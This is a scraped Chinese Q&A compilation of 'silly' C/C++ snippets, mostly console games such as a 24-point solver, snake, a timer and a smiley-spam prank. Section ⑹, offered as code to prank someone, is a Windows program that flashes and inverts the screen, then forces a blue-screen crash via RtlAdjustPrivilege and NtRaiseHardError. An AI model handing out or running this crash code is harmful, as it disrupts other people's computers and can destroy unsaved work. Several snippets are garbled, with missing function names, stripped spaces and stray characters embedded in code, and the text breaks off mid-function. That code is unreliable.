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c語言沙雕代碼大全

發布時間: 2023-05-14 01:46:37

⑴ 求幾c語言個小游戲代碼,簡單的,要注釋、、謝謝了、

// Calcu24.cpp : Defines the entry point for the console application.
//
/*
6-6
24點游戲
*/
#include "conio.h"
#include "stdlib.h"
#include "time.h"
#include "math.h"
#include "string.h"/*
從一副撲克牌中,任取4張。
2-10 按其點數計算(為了表示方便10用T表示),J,Q,K,A 統一按 1 計算
要求通過加減乘除四則運算得到數字 24。
本程序可以隨機抽取紙牌,並用試探法求解。
*/void GivePuzzle(char* buf)
{
char card[] = {'A','2','3','4','5','6','7','8','9','T','J','Q','K'}; for(int i=0; i<4; i++){
buf[i] = card[rand() % 13];
}
}
void shuffle(char * buf)
{
for(int i=0; i<5; i++){
int k = rand() % 4;
char t = buf[k];
buf[k] = buf[0];
buf[0] = t;
}
}
int GetCardValue(int c)
{
if(c=='T') return 10;
if(c>='0' && c<='9') return c - '0';
return 1;
}
char GetOper(int n)
{
switch(n)
{
case 0:
return '+';
case 1:
return '-';
case 2:
return '*';
case 3:
return '/';
} return ' ';
}double MyCalcu(double op1, double op2, int oper)
{
switch(oper)
{
case 0:
return op1 + op2;
case 1:
return op1 - op2;
case 2:
return op1 * op2;
case 3:
if(fabs(op2)>0.0001)
return op1 / op2;
else
return 100000;
} return 0;
}
void MakeAnswer(char* answer, int type, char* question, int* oper)
{
char p[4][3];
for(int i=0; i<4; i++)
{
if( question[i] == 'T' )
strcpy(p[i], "10");
else
sprintf(p[i], "%c", question[i]);
}

switch(type)
{
case 0:
sprintf(answer, "%s %c (%s %c (%s %c %s))",
p[0], GetOper(oper[0]), p[1], GetOper(oper[1]), p[2], GetOper(oper[2]), p[3]);
break;
case 1:
sprintf(answer, "%s %c ((%s %c %s) %c %s)",
p[0], GetOper(oper[0]), p[1], GetOper(oper[1]), p[2], GetOper(oper[2]), p[3]);
break;
case 2:
sprintf(answer, "(%s %c %s) %c (%s %c %s)",
p[0], GetOper(oper[0]), p[1], GetOper(oper[1]), p[2], GetOper(oper[2]), p[3]);
break;
case 3:
sprintf(answer, "((%s %c %s) %c %s) %c %s",
p[0], GetOper(oper[0]), p[1], GetOper(oper[1]), p[2], GetOper(oper[2]), p[3]);
break;
case 4:
sprintf(answer, "(%s %c (%s %c %s)) %c %s",
p[0], GetOper(oper[0]), p[1], GetOper(oper[1]), p[2], GetOper(oper[2]), p[3]);
break;
}
}
bool TestResolve(char* question, int* oper, char* answer)
{
// 等待考生完成
int type[5]={0,1,2,3,4};//計算類型
double p[4];
double sum=0;
//
for(int i=0; i<4; i++) //循環取得點數
{
p[i]=GetCardValue(int(question[i]));
} for(i=0;i<5;i++)
{
MakeAnswer(answer,type[i],question,oper); //獲取可能的答案
switch(type[i])
{
case 0:
sum=MyCalcu(p[0],MyCalcu( p[1],MyCalcu(p[2], p[3], oper[2]),oper[1]),oper[0]); //A*(B*(c*D))
break;
case 1:
sum=MyCalcu(p[0],MyCalcu(MyCalcu(p[1], p[2], oper[1]),p[3],oper[2]),oper[0]); //A*((B*C)*D)
break;
case 2:
sum=MyCalcu(MyCalcu(p[0], p[1], oper[0]),MyCalcu(p[2], p[3], oper[2]),oper[1]); // (A*B)*(C*D)
break;
case 3:
sum=MyCalcu(MyCalcu(MyCalcu(p[0], p[1], oper[0]),p[2],oper[1]),p[3],oper[2]); //((A*B)*C)*D
break;
case 4:
sum=MyCalcu(MyCalcu(p[0],MyCalcu(p[1], p[2], oper[1]),oper[0]),p[3],oper[2]); //(A*(B*C))*D
break;
}
if(sum==24) return true;
}
return false;
}
/*
採用隨機試探法:就是通過隨機數字產生 加減乘除的 組合,通過大量的測試來命中的解法
提示:
1. 需要考慮用括弧控制計算次序的問題 比如:( 10 - 4 ) * ( 3 + A ), 實際上計算次序的數目是有限的:
A*(B*(c*D))
A*((B*C)*D)
(A*B)*(C*D)
((A*B)*C)*D
(A*(B*C))*D
2. 需要考慮計算結果為分數的情況:( 3 + (3 / 7) ) * 7
3. 題目中牌的位置可以任意交換
*/
bool TryResolve(char* question, char* answer)
{
int oper[3]; // 存儲運算符,0:加法 1:減法 2:乘法 3:除法
for(int i=0; i<1000 * 1000; i++)
{
// 打亂紙牌順序
shuffle(question);

// 隨機產生運算符
for(int j=0; j<3; j++)
oper[j] = rand() % 4; if( TestResolve(question, oper, answer) ) return true;
} return false;
}
int main(int argc, char* argv[])
{
// 初始化隨機種子
srand( (unsigned)time( NULL ) ); char buf1[4]; // 題目
char buf2[30]; // 解答
printf("***************************\n");
printf("計算24\n");
printf("A J Q K 均按1計算,其它按牌點計算\n");
printf("目標是:通過四則運算組合出結果:24\n");
printf("***************************\n\n");
for(;;)
{
GivePuzzle(buf1); // 出題
printf("題目:");
for(int j=0; j<4; j++){
if( buf1[j] == 'T' )
printf("10 ");
else
printf("%c ", buf1[j]);
} printf("\n按任意鍵參考答案...\n");
getch(); if( TryResolve(buf1, buf2) ) // 解題
printf("參考:%s\n", buf2);
else
printf("可能是無解...\n"); printf("按任意鍵出下一題目,x 鍵退出...\n");
if( getch() == 'x' ) break;
} return 0;
}

⑵ 求助啊,誰有有趣的c語言小程序,並且要有源代碼!!

一個貪吃蛇C源代碼,本人稍加優化,練手應當不錯。
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <time.h>
#include <Windows.h>

#define WIDTH 78 //地圖的寬,x軸
#define HEIGHT 26 //地圖的高,y軸
int dire=3; //方向變數,初值為向「左」
int Flag=0; //判斷是否吃了食物的標志
int score=0; //玩家得分

struct foods{ int x;
int y;
}food; //結構體food有2個成員
struct snakes{int len;
int speed;
int x[100];
int y[100];
}snake; //結構體snake有4個成員

void gotoxy( int x,int y) //獲得句柄,才能控制游標移動
{ COORD coord;
coord.X=x;
coord.Y=y;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), coord);
}

void gotoxy( int x,int y); //以下聲明要用到的幾個自編函數
void csh( );
void keyDown( );
void Move( );
void putFood( );
int pdOver( );

int main( ) //主函數
{ csh( );
while(1)
{ keyDown( );
Move( );
putFood( );
if(pdOver( ))
{system(「cls」);
gotoxy(WIDTH/2+1,HEIGHT/2);
printf(「游戲結束!T__T」);
gotoxy(WIDTH/2+1,HEIGHT/2+1);
printf(「玩家總分:%d分」,score);
getch( );
break; }
Sleep(snake.speed);
}
return 0;
}

void csh( ) //初始化界面
{ int i;
gotoxy(0,0);
CONSOLE_CURSOR_INFO cursor_info={1,0}; //游標值設為0就隱藏了
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);

for(i=0;i<=WIDTH;i=i+2) //橫坐標要為偶數,因為這里要列印的字元佔2個位置
{ gotoxy(i,0); //列印上邊框
printf("■");
gotoxy(i,HEIGHT); //列印下邊框
printf("■");
}
for(i=1;i<HEIGHT;i++)
{ gotoxy(0,i); //列印左邊框
printf("■");
gotoxy(WIDTH,i); //列印右邊框
printf("■");
}
while(1)
{ srand((unsigned int)time(NULL)); //設定種子為當前時間
food.x=rand()%(WIDTH-4)+2;
food.y=rand()%(HEIGHT-2)+1;
if(food.x%2==0)break;
}
gotoxy(food.x,food.y); //到食物坐標處列印初試食物
printf("●");

snake.len=3; //蛇身長
snake.speed=350; //刷新蛇的時間,即是移動速度
snake.x[0]=WIDTH/2+1; //蛇頭橫坐標為偶數
snake.y[0]=HEIGHT/2; //蛇頭縱坐標
gotoxy(snake.x[0], snake.y[0]); //列印蛇頭
printf("■");

for(i=1;i<snake.len;i++)
{ snake.x[i]=snake.x[i-1]+2;
snake.y[i]=snake.y[i-1];
gotoxy(snake.x[i],snake.y[i]); //列印蛇身
printf("■");
}
return;
}

void keyDown( ) //按鍵操作
{ int key;
if(kbhit( )) //如有按鍵輸入才執行下面操作
{ key=getch( );
if(key==224) //值為224表示按下了方向鍵,下面要再次獲取鍵值
{ key=getch( );
if(key==72&&dire!=2)dire=1; //72為向上
if(key==80&&dire!=1)dire=2; //80為向下
if(key==75&&dire!=4)dire=3; //75為向左
if(key==77&&dire!=3)dire=4; //77為向右
}
if(key==13)
{ while(1) if((key=getch( ))==13) break; } //13為回車鍵,這兒用來暫停
}
}

void Move( ) //蛇移動一節
{ if(Flag==0) //如沒吃食物,才執行下面操作擦掉蛇尾
{ gotoxy(snake.x[snake.len-1],snake.y[snake.len-1]);
printf(" ");
}
int i;
for (i = snake.len - 1; i > 0; i--) //從蛇尾起每節存儲前一節坐標值(蛇頭除外)
{ snake.x[i]=snake.x[i-1];
snake.y[i]=snake.y[i-1];
}
switch (dire) //以下判斷蛇頭該往哪個方向移動,並獲取最新坐標值
{ case 1: snake.y[0]--; break;
case 2: snake.y[0]++; break;
case 3: snake.x[0]-=2; break;
case 4: snake.x[0]+=2; break;
}
gotoxy(snake.x[0], snake.y[0]); //列印蛇頭
printf("■");
if (snake.x[0] == food.x && snake.y[0] == food.y) //如吃到食物執行以下操作
{ snake.len++; score += 50; snake.speed -= 5; Flag = 1;}
else Flag = 0;
if(snake.speed<160) snake.speed= snake.speed+5; //作弊碼,不讓速度無限加快
}

void putFood( ) //投放食物
{ if(Flag == 1) //如吃到食物才執行以下操作,生成另一個食物
{ while (1)
{ int i,n= 1;
srand((unsigned int)time(NULL)); //設定當前時間,接下產生食物坐標值
food.x = rand( ) % (WIDTH - 4) + 2;
food.y = rand( ) % (HEIGHT - 2) + 1;
for (i = 0; i < snake.len; i++) //隨機生成的食物不能在蛇的身體上
{ if (food.x == snake.x[i] &&food.y == snake.y[i])
{ n= 0; break;}
}
if (n && food.x % 2 == 0) break; //n不為0且橫坐標為偶數,食物坐標取值成功
}
gotoxy(food.x, food.y); //游標到取得的坐標處列印食物
printf("●");
}
return;
}

int pdOver( ) //判斷游戲是否結束
{ int i;
gotoxy(2,HEIGHT+1); //以下列印一些其它信息
printf(「暫停鍵:Enter.」);
gotoxy(2,HEIGHT+2);
printf(「游戲得分:%d」,score);
if (snake.x[0] == 0 || snake.x[0] == WIDTH) return 1; //蛇頭觸碰左右邊界
if (snake.y[0] == 0 || snake.y[0] == HEIGHT) return 1; //蛇頭觸碰上下邊界
for (i = 1; i < snake.len; i++)
{ if (snake.x[0] == snake.x[i] && snake.y[0] == snake.y[i]) return 1; } //蛇頭觸碰自身
return 0;
}

⑶ C語言 游戲 代碼

「坑人的無限」(一):

#include<iostream>
#include<windows.h>
#include<ctime>
#include<cstdlib>
#include<conio.h>
using namespace std;
int a;
class Screen
{
private:
int n;
public:
Screen()
{
n=5;
}
void move1()//注意只是循環輸出各個數字,不能對循環輸出再進行循環(如果對循環輸出0123456789再進行循環,則move1就變成一個無限循環的函數,則下面的screen循環就進行不下去了)
{
for(int i=0;i<10;++i)
{
cout<<char(1)<<" ";
}
}
void move2()
{
char i;
for(i='a';i<='z';++i)
{
cout<<char(1)<<" ";
}
}
void screen()
{
int t;
while(!kbhit())
{
t=time(0)%(2*n);//如果是放在循環外面的話,time(0)的值就一直不變,放在循環裡面,一秒鍾進行一次判斷,一秒鍾進行一次循環
if(t<n)
move1();
else
move2();
}
}
};
int main(){
cout<<"歡迎來到「無限 」游戲"<<char(1)<<endl;
cout<<"下面會輸出無限個笑臉"<<char(1)<<endl;
cout<<"按'enter'取消"<<endl;
Sleep(4000);
Screen s;
s.screen();
cout<<endl<<"哈哈!!控制不住了吧!"<<char(1)<<endl;
cout<<"接下來會更讓你喪心病狂的!"<<char(1)<<endl;
cout<<"但是堅持過後必有彩蛋!!!!!!加油!!";
cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
Sleep(10000);
for(int as=0;as<=50;as++){
for(int i=0;i<=100;i++){
for(int j=0;j<=10;j++){
cout<<char(2)<<" ";
}
cout<<endl;
}
for(int i=0;i<=100;i++){
for(int j=0;j<=10;j++){
cout<<char(1)<<" ";
}
cout<<endl;
}
}
cout<<"你居然堅持下來了!"<<char(1)<<" "<<char(2)<<endl<<"不可思議呀!"<<endl;
for(int i=0;i<=10;i++){
cout<<"-----------------------------------------------"<<endl;
}
cout<<"敬請期待!等待無限游戲(二)!";
return 0;
}

⑷ 一段特別詭異的C語言代碼 求大神告知

你發的這段程序,int flag放到你標記的兩個位置都是一樣的。但是我覺得應該放到下面的這個位置更合理:

#defineA(X)((t[X]-'0'做禪))
intmain()
{
inti,j,N,m;
chart[3];
// intflag=0;
scanf("%d",&m);
for(j=1;j<=m;j++)
{
intflag=0;//應該放到這里來!!!!
scanf("%d",&N);
printf("Case%d: ",j);
for(i=100;i<1000;i++)
{
sprintf(t,"%d",i);
if((A(0)+A(1))*2+A(2)==N)
{
printf("%c%c%c%c%c ",t[0],t[1],t[2],t[1],t[0]);
flag++;
}
}
for(i=100;i<1000;i++)
{
sprintf(t,"%d",i);
if((A(0)+A(1)+A(2))*2==N)
{
printf("%c%c%c%c%c%c ",t[0],t[1],t[2],t[2],t[1],t[0]);
flag++;
}
}
if(flag==0)printf("-1 ");
}
}

還可以優化為以下程序:

#defineA(X)((t[X]-'0'))
intmain()
{
int純神塵i,j,N,m,flag;
chart[3];
scanf("%d",&m);
for(j=1;j<瞎橘=m;j++)
{
printf("Case%d: ",j);
flag=0;
scanf("%d",&N);
for(i=100;i<1000;i++)
{
sprintf(t,"%d",i);
if((A(0)+A(1))*2+A(2)==N||(A(0)+A(1)+A(2))*2==N)
{
printf("%c%c%c",t[0],t[1],t[2]);
if((A(0)+A(1)+A(2))*2==N)printf("%c",t[2]);
printf("%c%c ",t[1],t[0]);
flag++;
}
}
if(flag==0)printf("-1 ");
}
}

⑸ 求幾個比較有趣,簡單的C語言源代碼 小白自己敲著練一下手感

最簡單的模擬計時器:

#include<stdio.h>

#include<conio.h>

#include<windows.h>

int m=0,s=0,ms=0; //m是分 s是秒 ms是毫秒

//以下是5個自編函數

void csh( ); //初始化界面

void yinc(int x,int y); //隱藏游標的函數(y值設為0就會隱藏)

void jishi( ); //計時器運行(每100毫秒變化一次)

void Color (short x, short y); //設定顏色的函數(y設為0就是黑底)

void gtxy (int x, int y); //控制游標位置的函數

int main( ) //主函數

{ csh( );

getch( );

while(1)

{ jishi( );

Sleep(100); //間隔100毫秒

if( kbhit( ) )break; //有鍵按下就退出循環

}

return 0;

}

void csh( ) //初始化界面

{Color(14,0); //設定淡黃字配黑底

printf(「 計時器」);

Color(10,0); //設定淡綠字配黑底

printf(" ┌───────────┐");

printf(" │ │");

printf(" └───────────┘");

gtxy(10,4); //游標到屏幕第10列4行處輸出

Color(7,0); //恢復白字黑底

printf(" 00:00:00 ");

yinc(1,0 ); //隱藏游標(yinc代表隱藏)

return;

}

void jishi( ) //計時器運行

{ms+=1;

if(ms==10){s+=1;ms=0;}

if(s==60){m+=1;s=0;}

gtxy(10,4);

Color(9,0); //設定淡藍字配黑底

if(m>9) printf(" %d:",m);

else printf(" 0%d:",m);

Color(14,0); //設定淡黃字配黑底

if(s>9) printf("%d:",s);

else printf("0%d:",s);

Color(12,0); //設定淡紅字配黑底

printf("0%d",ms);

}

void gtxy (int x, int y) //控制游標位置的函數

{ COORD pos;

pos.X = x;

pos.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), pos );

}

void Color (short ForeColor= 7, short BackGroundColor= 0) //設定顏色的函數

{ HANDLE handle = GetStdHandle ( STD_OUTPUT_HANDLE );

SetConsoleTextAttribute ( handle, ForeColor + BackGroundColor * 0x10 );

}

void yinc(int x,int y) //隱藏游標的設置(gb代表游標)

{ CONSOLE_CURSOR_INFO gb={x,y}; //x為1-100,y為0就隱藏游標

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);

}

⑹ 求一個C語言整人代碼!!!

先上代碼

#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}

運行這段代碼首先會花屏並閃屏,一分鍾後藍屏。

效果圖:

⑺ 一段女生寫的C語言代碼(搞笑)

這個算是技術宅的段子吧

從風格上看,很可能是宅男寫的 而不是女生

#include"stdio.h"//譚老說:include<>和""都是合法的。<>這位標准方式,在頭文件目錄下尋找。
#include"stdlib.h"//""現在當前目錄下找,若無,則在頭文件目錄下找。一般:庫函數→<>自編頭文件→""
resultlove(boy,girl)
{
if(boy.有房()andboy.有車())
{
boy.set(nothing);
returngirl.嫁給(boy);
}

if(girl.願意等())
{
while(!(boy.賺錢>100,000andgirl.感情>8))
{
for(day=1;day<=365;day++)
{
if(day==情人節)
if(boy.givegirl(玫瑰))
girl.感情++;
else
girl.感情--;

if(day==girl.生日)
if(boy.givegirl(玫瑰))
girl.感情++;
else
girl.感情--;

boy.拚命賺錢();
}
}

if(boy.有房()andboy.有車())
{
boy.set(nothing);
returngirl.嫁給(boy);
}

年齡++;
girl.感情--;
}

returngirl.goto(another_boy);
}

⑻ c語言小游戲代碼

「貪吃蛇」C代碼,在dev C++試驗通過(用4個方向鍵控制)

#include <stdio.h>

#include <stdlib.h>

#include <conio.h>

#include <time.h>

#include <Windows.h>

#define W 78 //游戲框的寬,x軸

#define H 26 //游戲框的高,y軸

int dir=3; //方向變數,初值3表示向「左」

int Flag=0; //吃了食物的標志(1是0否)

int score=0; //玩家得分

struct food{ int x; //食物的x坐標

int y; //食物的y坐標

}fod; //結構體fod有2個成員

struct snake{ int len; //蛇身長

int speed; //移動速度

int x[100]; //蛇身某節x坐標

int y[100]; //蛇身某節y坐標

}snk; //結構體snk有4個成員

void gtxy( int x,int y) //控制游標移動的函數

{ COORD coord;

coord.X=x;

coord.Y=y;

SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), coord);

}

void gtxy( int x,int y); //以下聲明要用到的幾個自編函數

void csh( ); //初始化界面

void keymove( ); //按鍵操作移動蛇

void putFod( ); //投放食物

int Over( ); //游戲結束(1是0否)

void Color(int a); //設定顯示顏色的函數

int main( ) //主函數

{ csh( );

while(1)

{ Sleep(snk.speed);

keymove( );

putFod( );

if(Over( ))

{ system(「cls」);

gtxy(W/2+1,H/2); printf(「游戲結束!T__T」);

gtxy(W/2+1,H/2+2); printf(「玩家總分:%d分」,score);

getch( );

break;

}

}

return 0;

}

void csh( ) //初始化界面

{ int i;

gtxy(0,0);

CONSOLE_CURSOR_INFO cursor_info={1,0}; //以下兩行是隱藏游標的設置

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);

for(i=0;i<=W;i=i+2) //橫坐標要為偶數,因為這個要列印的字元佔2個位置

{Color(2); //設定列印顏色為綠色

gtxy(i,0); printf("■"); //列印上邊框

gtxy(i,H); printf("■"); //列印下邊框

}

for(i=1;i<H;i++)

{ gtxy(0,i); printf("■"); //列印左邊框

gtxy(W,i); printf("■"); //列印右邊框

}

while(1)

{ srand((unsigned)time(NULL)); //初始化隨機數發生器srand( )

fod.x=rand()%(W-4)+2; //隨機函數rand( )產生一個從0到比」(W-4)」小1的數再加2

fod.y=rand()%(H-2)+1; //隨機函數rand( )產生一個從0到比」(H-2)」小1的數再加1

if (fod.x%2==0) break; //fod.x是食物的橫坐標,要是2的倍數(為偶數)

}

Color(12); //設定列印顏色為淡紅

gtxy(fod.x,fod.y); printf("●"); //到食物坐標處列印初試食物

snk.len=3; //蛇身長初值為3節

snk.speed=350; //刷新蛇的時間,即移動速度初值為350毫秒

snk.x[0]=W/2+1; //蛇頭橫坐標要為偶數(因為W/2=39)

snk.y[0]=H/2; //蛇頭縱坐標

Color(9); //設定列印顏色為淡藍

gtxy(snk.x[0], snk.y[0]); printf("■"); //列印蛇頭

for(i=1;i<snk.len;i++)

{ snk.x[i]=snk.x[i-1]+2; snk.y[i]=snk.y[i-1];

gtxy(snk.x[i],snk.y[i]); printf("■"); //列印蛇身

}

Color(7, 0); //恢復默認的白字黑底

return;

}

void keymove( ) //按鍵操作移動蛇

{ int key;

if( kbhit( ) ) //如有按鍵輸入才執行下面操作

{ key=getch( );

if (key==224) //值為224表示按下了方向鍵,下面要再次獲取鍵值

{ key=getch( );

if(key==72&&dir!=2)dir=1; //72表示按下了向上方向鍵

if(key==80&&dir!=1)dir=2; //80為向下

if(key==75&&dir!=4)dir=3; //75為向左

if(key==77&&dir!=3)dir=4; //77為向右

}

if (key==32)

{ while(1) if((key=getch( ))==32) break; } //32為空格鍵,這兒用來暫停

}

if (Flag==0) //如沒吃食物,才執行下面操作擦掉蛇尾

{ gtxy(snk.x[snk.len-1],snk.y[snk.len-1]); printf(" "); }

int i;

for (i = snk.len - 1; i > 0; i--) //從蛇尾起每節存儲前一節坐標值(蛇頭除外)

{ snk.x[i]=snk.x[i-1]; snk.y[i]=snk.y[i-1]; }

switch (dir) //判斷蛇頭該往哪個方向移動,並獲取最新坐標值

{ case 1: snk.y[0]--; break; //dir=1要向上移動

case 2: snk.y[0]++; break; //dir=2要向下移動

case 3: snk.x[0]-=2; break; //dir=3要向左移動

case 4: snk.x[0]+=2; break; //dir=4要向右移動

}

Color(9);

gtxy(snk.x[0], snk.y[0]); printf("■"); //列印蛇頭

if (snk.x[0] == fod.x && snk.y[0] == fod.y) //如吃到食物則執行以下操作

{ printf("7"); snk.len++; score += 100; snk.speed -= 5; Flag = 1; } //7是響鈴

else Flag = 0; //沒吃到食物Flag的值為0

if(snk.speed<150) snk.speed= snk.speed+5; //作弊碼,不讓速度無限加快

}

void putFod( ) //投放食物

{ if (Flag == 1) //如吃到食物才執行以下操作,生成另一個食物

{ while (1)

{ int i,n= 1;

srand((unsigned)time(NULL)); //初始化隨機數發生器srand( )

fod.x = rand( ) % (W - 4) + 2; //產生在游戲框范圍內的一個x坐標值

fod.y = rand( ) % (H - 2) + 1; //產生在游戲框范圍內的一個y坐標值

for (i = 0; i < snk.len; i++) //隨機生成的食物不能在蛇的身體上

{ if (fod.x == snk.x[i] &&fod.y == snk.y[i]) { n= 0; break;} }

if (n && fod.x % 2 == 0) break; //n不為0且橫坐標為偶數,則食物坐標取值成功

}

Color(12); //設定字元為紅色

gtxy(fod.x, fod.y); printf("●"); //游標到取得的坐標處列印食物

}

return;

}

int Over( ) //判斷游戲是否結束的函數

{ int i;

Color(7);

gtxy(2,H+1); printf(「暫停鍵:space.」); //以下列印一些其它信息

gtxy(2,H+2); printf(「游戲得分:%d」,score);

if (snk.x[0] == 0 || snk.x[0] == W) return 1; //蛇頭觸碰左右邊界

if (snk.y[0] == 0 || snk.y[0] == H) return 1; //蛇頭觸碰上下邊界

for (i = 1; i < snk.len; i++)

{ if (snk.x[0] == snk.x[i] && snk.y[0] == snk.y[i]) return 1; } //蛇頭觸碰自身

return 0; //沒碰到邊界及自身時就返回0

}

void Color(int a) //設定顏色的函數

{ SetConsoleTextAttribute(GetStdHandle( STD_OUTPUT_HANDLE ),a ); }

⑼ C語言的貪吃蛇源代碼

#include <bits/stdc++.h>

#include <windows.h>
#include <conio.h>
using namespace std;
void gotoxy(int x,int y) {COORD pos={x,y}; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}//游標定位
class Food {//食物類
private: int m_x; int m_y;
public:
void randfood() {//隨機產生一個食物
srand((int)time(NULL));//利用時間添加隨機數種子,需要ctime頭文件
L1:{m_x=rand()%(85)+2;//2~86
m_y=rand()%(25)+2;//2~26
if(m_x%2) goto L1;//如果食物的x坐標不是偶數則重新確定食物的坐標
gotoxy(m_x,m_y);//在確認好的位置輸出食物
cout << "★";}}
int getFoodm_x() {return m_x;}//返回食物的x坐標
int getFoodm_y() {return m_y;}};//返回食物的y坐標
class Snake {
private:
struct Snakecoor {int x; int y;};//定義一個蛇的坐標機構
vector<Snakecoor> snakecoor;//將坐標存入vector容器中
//判斷並改變前進方向的函數
void degdir(Snakecoor&nexthead) {//定義新的蛇頭變數
static char key='d';//靜態變數防止改變移動方向後重新改回來
if(_kbhit()) {
char temp=_getch();//定義一個臨時變數儲存鍵盤輸入的值
switch(temp) {//如果臨時變數的值為wasd中的一個,則賦值給key
default: break;//default是預設情況,只有任何條件都不匹配的情況下才會執行 必須寫在前面!不然蛇無法轉向
case'w': case'a': case's': case'd':
//如果temp的方向和key的方向不相反則賦值 因為兩次移動方向不能相反 將蛇設置為初始向右走
if(key=='w' && temp!='s' || key=='s' && temp!='w' || key=='a' && temp!='d' || key=='d' && temp!='a') key=temp;}}
switch (key) {//根據key的值來確定蛇的移動方向
case'd': nexthead.x=snakecoor.front().x+2; nexthead.y=snakecoor.front().y; break;
//新的蛇頭的頭部等於容器內第一個數據(舊蛇頭)x坐標+2 因為蛇頭占兩個坐標,移動一次加2
case'a': nexthead.x=snakecoor.front().x-2; nexthead.y=snakecoor.front().y; break;
case'w': nexthead.x=snakecoor.front().x; nexthead.y=snakecoor.front().y-1; break;
//因為控制台的x長度是y的一半,所以用兩個x做蛇頭,需要的坐標是二倍
case's': nexthead.x=snakecoor.front().x; nexthead.y=snakecoor.front().y+1;}}
//游戲結束時設計一個界面輸出「游戲結束」以及分數
void finmatt(const int score) {
system("cls"); gotoxy(40, 14);//清屏然後輸出
cout << "游戲結束"; gotoxy(40, 16);
cout << "得分:" << score; gotoxy(0, 26);
exit(0);}//exit為C++的退出函數 exit(0)表示程序正常退出,非0表示非正常退出
void finishgame(const int score) {//游戲結束
if(snakecoor[0].x>=88 || snakecoor[0].x<0 || snakecoor[0].y>=28 || snakecoor[0].y<0) finmatt(score);//撞牆
for(int i=1;i<snakecoor.size();i++) if(snakecoor[0].x==snakecoor[i].x && snakecoor[0].y==snakecoor[i].y) finmatt(score);}//撞到自身
public://構造初始化蛇的位置
Snake() { Snakecoor temp;//臨時結構變數用於創建蛇
for(int i=5;i>=0;i--) {//反向創建初始蛇身,初始蛇頭朝右
temp.x=16+(i<<1); temp.y=8;//偶數 在蛇頭左移生成蛇身
snakecoor.push_back(temp);}}//在蛇尾尾插入臨時變數
void move(Food&food, int& score) {//蛇運動的函數
Snakecoor nexthead;//新蛇頭變數
degdir(nexthead);//判斷和改變蛇前進的方向
snakecoor.insert(snakecoor.begin(), nexthead);//將蛇頭插入容器的頭部
gotoxy(0, 0); cout << "得分:" << score;//每次移動都在左上角刷新得分
gotoxy(0, 2); cout << "蛇的長度為:" << snakecoor.size();//長度用來測試
finishgame(score);//判斷游戲結束,輸出分數
//吃到食物蛇的變化
if(snakecoor[0].x==food.getFoodm_x() && snakecoor[0].y==food.getFoodm_y()) {//蛇頭與食物重合
gotoxy(snakecoor[0].x, snakecoor[0].y); cout << "●";//吃到食物時這次蛇沒有移動,所以蛇會卡頓一下
gotoxy(snakecoor[1].x, snakecoor[1].y); cout << "■";//重新輸出一下蛇頭和第一節蛇身讓蛇不卡頓
